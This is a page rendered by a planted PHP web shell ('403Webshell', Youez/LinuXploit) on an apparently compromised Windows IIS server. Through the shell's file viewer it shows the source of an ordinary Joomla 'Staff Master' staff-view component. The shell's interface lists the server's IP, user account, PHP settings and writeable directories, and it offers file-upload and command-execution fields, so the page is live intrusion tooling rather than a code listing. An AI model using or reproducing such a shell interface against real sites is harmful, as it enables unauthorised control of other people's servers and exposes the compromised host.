403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/components/com_staffmaster/views/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/components/com_staffmaster/views/staff//view.html.php
<?php

/**

 * File: view.html.php

 *

 * Staff Master 0_7_5_5

 *

 * Staff Master - Staff Members and Departments Manager

 *

 * @version 0.7.5.5

 * @package StaffMaster_0_7_5_5

 * @subpackage: view_staff

 * @copyright (C) 2007-2008 Travis Hubbard

 * @license http://www.gnu.org/licenses/  GNU/GPL v3

 * @link http://www.systemsunited.net/

 **/

defined( '_JEXEC' ) or die( 'Restricted access' );



jimport('joomla.application.component.view');



/**

 * Single Staff View Class

 */

class StaffViewStaff extends JView  {



	/**

	 * Default display method for the class

	 *

	 * @param mixed 	$tpl can contain other display template params

	 * @param stdObj 	$staff_member is a single row from the staff model

	 * @param stdObj 	$params is the complete settings model

	 */

	function display( $tpl = null, $staff_member , $params , $contact_html , $parsed_acl )  {



		global $option, $mainframe;



		$cparams  = JComponentHelper::getParams( $option );



		$show_sm_link = $cparams->get( 'show_sm_link' );



		if( empty( $staff_member ) )

			$mainframe->redirect( JRoute::_( 'index.php?option=' . $option . '&view=all') );



		//Colors

		$page_title_color_html 			= '';

		$dept_name_color_html			= '';

		$dept_desc_color_html			= '';

		$staff_name_color_html			= '';

		$staff_title_color_html			= '';

		$staff_bio_color_html			= '';

		$dept_unique_foot_color_html	= '';

		$dept_general_foot_color_html	= '';



		$custom_colors = array();



		if( $params->use_custom_colors )  {



			$cc = explode( ';' , $params->custom_colors );



			foreach( $cc as $tcc )  {



				$tcc = explode( '=' , $tcc );



				$custom_colors[ trim( $tcc[ 0 ] ) ] = $tcc[ 1 ];



			}



			if( isset( $custom_colors['page_title_color'] ) )  {

				if( !empty( $custom_colors['page_title_color'] ) )

					$page_title_color_html = 'style="color:#' 		 . $custom_colors['page_title_color'] .'"';

			}



			if( isset( $custom_colors['dept_name_color'] 			) )  {

				if( !empty( $custom_colors['dept_name_color'] ) )

					$dept_name_color_html = 'style="color:#' 		 . $custom_colors['dept_name_color'] .'"';

			}



			if( isset( $custom_colors['dept_desc_color'] 			) )  {

				if( !empty( $custom_colors['dept_desc_color'] ) )

				$dept_desc_color_html = 'style="color:#' 		 . $custom_colors['dept_desc_color'] .'"';

			}



			if( isset( $custom_colors['staff_name_color'] 			) )  {

				if( !empty( $custom_colors['staff_name_color'] ) )

					$staff_name_color_html = 'style="color:#' 		 . $custom_colors['staff_name_color'] .'"';

			}



			if( isset( $custom_colors['staff_title_color'] 		) )  {

				if( !empty( $custom_colors['staff_title_color'] ) )

					$staff_title_color_html = 'style="color:#' 		 . $custom_colors['staff_title_color'] .'"';

			}



			if( isset( $custom_colors['staff_bio_color'] 			) )  {

				if( !empty( $custom_colors['staff_bio_color'] ) )

					$staff_bio_color_html = 'style="color:#' 		 . $custom_colors['staff_bio_color'] .'"';

			}



			if( isset( $custom_colors['dept_unique_foot_color'] 	) )  {

				if( !empty( $custom_colors['dept_unique_foot_color'] ) )

					$dept_unique_foot_color_html = 'style="color:#'  . $custom_colors['dept_unique_foot_color'] .'"';

			}



			if( isset( $custom_colors['dept_general_foot_color'] 	) )  {

				if( !empty( $custom_colors['dept_general_foot_color'] ) )

					$dept_general_foot_color_html = 'style="color:#' .  $custom_colors['dept_general_foot_color'] .'"';

			}



		}



		/**** Staff Image Setup ****/

		// If there is not an image set for this staff member

		// use the image default set in settings

		$image_src = $params->staff_image_path;



		if( empty( $staff_member->image_file_name ) )  {



			if( empty( $params->staff_image_default ) )  {



				$image_src = 'components/' . $option . '/images/staff_empty.png';



			}

			else {



				$image_src .= $params->staff_image_default;



			}



		}

		else  {



			$image_src .= $staff_member->image_file_name;



		}



		// compile all variables to form image html

		$staff_html['image'][ $staff_member->alias ] = '<img src="'.$image_src.'" '



				. 'alt="'.$staff_member->name.'" '



				. 'title="'.$staff_member->name.'" '



				. 'class="staff_image" ';



		if( isset( $parsed_acl['image_width'] ) )

			$staff_html['image'][ $staff_member->alias ] .= 'width="' . $parsed_acl['image_width'] . '" ';



		if( isset( $parsed_acl['image_height'] ) )

			$staff_html['image'][ $staff_member->alias ] .= 'height="' . $parsed_acl['image_height'] . '" ';



		$staff_html['image'][ $staff_member->alias ] .= ' />';



		//********** END IMAGE HTML PARSING  ************* /



		$staff_html['name'][ $staff_member->alias ] = $staff_member->name;



		$staff_html['contact'][ $staff_member->alias ] = $contact_html[ $staff_member->alias ];



		/**** Staff Bio Setup ****/

		// If there is not a staff bio set for this staff member

		// use the staff bio default set in settings

		if( empty( $staff_member->bio ) )  {



			$staff_html['bio'][ $staff_member->alias ] = $params->staff_bio_default;



		}

		else {



			// Search for the {readmore} tag and split the text up accordingly.

			$text = stripslashes( str_replace('<br>', '<br />', $staff_member->bio ) );



			$pattern = '#<hr\s+id=("|\')system-readmore("|\')\s*\/*>#i';



			$tagPos	= preg_match($pattern, $text);



			if ($tagPos == 0)	{



				$staff_html['bio'][ $staff_member->alias ]	= $text;



			} else 	{



				$staff_member->bio = preg_split($pattern, $text, 2);



				$staff_html['bio'][ $staff_member->alias ] = $staff_member->bio[0]

														// Uncomment the following line to add a break

														// where the readmore break used to be

														//   . '<br />'

														   . $staff_member->bio[1];

			}



		}



		/**** Staff Position Setup ****/

		// If there is not a staff position set for this staff member

		// use the staff position default set in settings

		if( empty( $staff_member->title ) )  {



			$staff_html['title'][ $staff_member->alias ]  = $params->staff_title_default;



		}



		if( $params->title_in_bio )

			$staff_html['title'][ $staff_member->alias ] = '<span class="staff_title_bio" ' . $staff_title_color_html . '>' . $staff_member->title . '</span>';

		else

			$staff_html['title'][ $staff_member->alias ] = '<span class="staff_title" ' . $staff_title_color_html . '>' . $staff_member->title . '</span>';





		$staff_image_class = 'staff_image_' . $params->staff_image_pos;



		if( $params->staff_image_pos == 'right' )  {

			$staff_name_class   = 'staff_name_left';

			$staff_bio_class    = 'staff_bio_left';

			$read_contact_class = 'read_contact_left';

		}

		else {

			$staff_name_class   = 'staff_name_right';

			$staff_bio_class    = 'staff_bio_right';

			$read_contact_class = 'read_contact_right';

		}



		$this->assignRef( 'staff_html' 		 	 		 , $staff_html 				 	 );



		$this->assignRef( 'read_contact_class' 		 	 , $read_contact_class  		 );



		$this->assignRef( 'staff_name_color_html' 		 , $staff_name_color_html		 );



		$this->assignRef( 'staff_name_class' 			 , $staff_name_class 			 );



		$this->assignRef( 'staff_bio_class' 			 , $staff_bio_class  			 );



		$this->assignRef( 'staff_image_class' 			 , $staff_image_class 			 );



		$this->assignRef( 'read_contact_label' 			 , $params->cl_read_contact 	 );



		$this->assignRef( 'page_title_color_html' 		 , $page_title_color_html 		 );



		$this->assignRef( 'dept_name_color_html' 		 , $dept_name_color_html 		 );



		$this->assignRef( 'dept_desc_color_html' 		 , $dept_name_color_html 		 );



		$this->assignRef( 'staff_name_color_html' 		 , $dept_desc_color_html 		 );



		$this->assignRef( 'staff_title_color_html' 		 , $staff_title_color_html 		 );



		$this->assignRef( 'staff_bio_color_html' 		 , $staff_bio_color_html 		 );



		$this->assignRef( 'dept_unique_foot_color_html'  , $dept_unique_foot_color_html  );



		$this->assignRef( 'dept_general_foot_color_html' , $dept_general_foot_color_html );



		$this->assignRef( 'staff_member'				 , $staff_member				 );



		$this->assignRef( 'params'  					 , $params 						 );



		$this->assignRef( 'show_sm_link' 	 			 , $show_sm_link			 	 );



		parent::display($tpl);

	}

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit